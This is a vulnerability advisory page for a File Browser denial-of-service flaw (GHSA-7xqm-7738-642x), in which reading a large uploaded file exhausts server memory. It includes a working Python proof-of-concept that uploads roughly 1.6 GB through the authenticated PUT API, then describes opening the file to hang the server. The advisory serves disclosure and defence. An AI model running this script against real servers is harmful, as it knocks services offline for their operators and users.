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GHSA-7xqm-7738-642x

File Browser's Uncontrolled Memory Consumption vulnerability can enable DoS attack due to oversized file processing

Also known asCVE-2025-53893GO-2025-3811
Published
Jul 16, 2025
Updated
Feb 4, 2026
Affected
1 pkg
Patched
None yet
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk27th percentile-0.56%
0.00%0.47%0.94%1.41%0.1%0.3%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐹github.com/filebrowser/filebrowser/v2

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A Denial of Service (DoS) vulnerability exists in the file processing logic when reading a file on endpoint Filebrowser-Server-IP:PORT/files/{file-name} . While the server correctly handles and stores uploaded files, it attempts to load the entire content into memory during read operations without size checks or resource limits. This allows an authenticated user to upload a large file and trigger uncontrolled memory consumption on read, potentially crashing the server and making it unresponsive.

Details

The endpoint /api/resources/{file-name} accepts PUT requests with plain text file content. Uploading an extremely large file (e.g., ~1.5 GB) succeeds without issue. However, when the server attempts to open and read this file, it performs the read operation in an unbounded or inefficient way, leading to excessive memory usage.

This approach attempts to read the entire file into memory at once. For large files, this causes memory exhaustion resulting in a crash or serious performance degradation. In the filebrowser codebase, this can be due to:

  • Lack of memory-safe streaming or chunked reading during file processing.
  • Absence of validation or size limits during the read phase.
  • Possibly synchronous or blocking file parsing without protection.

PoC

  1. I run the project via docker (latest version, 2.38.0) using the following command found in the documentation:
docker run \
    -v filebrowser_data:/srv \
    -v filebrowser_database:/database \
    -v filebrowser_config:/config \
    -p 8080:80 \
    filebrowser/filebrowser```
  1. First login in your filebrowser and create a simple empty file eg. name it another
  2. We will add a large data into this file via PUT method on the api by running the following Python script (as an exploit PoC script)
import requests

url = "http://filebrowser-server-IP:8080/api/resources/another"
auth_token = "eyJh-auth-token-goes-here"
headers = {
    "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0",
    "Accept": "*/*",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate, br",
    "Referer": "http://filebrowser-server-IP:8080/files/another",
    "X-Auth": auth_token,
    "Content-Type": "text/plain;charset=UTF-8",
    "Origin": "http://filebrowser-server-IP:8080",
    "Connection": "close",
    "Priority": "u=0"
}

# Generate a very large string into a file (e.g 1.6 GB)

base = "testing data goes here\n"
repeat_count = 120_000_000  

data = base * repeat_count

print("Sending large payload...")
response = requests.put(url, headers=headers, data=data)

# Output the response
print(f"Status Code: {response.status_code}")
print("Response Body:")
print(response.text)
  1. After running this script, go back in your filebrowser dashboard and try to open the file another - try to read the content in this file. The file will open on another tab and it will hang there consuming memory and resources. The entire server will remain unresponsive until the entire file loads (takes long time)

Impact

Denial of Service

Evidence

<img width="2191" height="350" alt="Pasted image (4)" src="https://github.com/user-attachments/assets/98af76ad-0714-40a9-a92b-b2d4a5941ab7" /> <img width="2012" height="1039" alt="Pasted image (2)" src="https://github.com/user-attachments/assets/d1ba3282-6c4d-4d35-81c7-87d4e0274f85" />

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/filebrowser/filebrowser/v2all versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/filebrowser/filebrowser/v2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Remediation status

    No patched version of github.com/filebrowser/filebrowser/v2 has shipped for GHSA-7xqm-7738-642x yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-7xqm-7738-642x is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-7xqm-7738-642x. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A Denial of Service (DoS) vulnerability exists in the file processing logic when reading a file on endpoint `Filebrowser-Server-IP:PORT/files/{file-name}` . While the server correctly handles and stores uploaded files, it attempts to load the entire content into memory during read operations without size checks or resource limits. This allows an authenticated user to upload a large file and trigger uncontrolled memory consumption on read, potentially crashing the server and making it unresponsive. ### Details The endpoint ` /api/resources/{file-name}` accepts `PUT` requests wit
O3 Security · Impact-Aware SCA

Is GHSA-7xqm-7738-642x in your dependencies?

O3 detects GHSA-7xqm-7738-642x across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.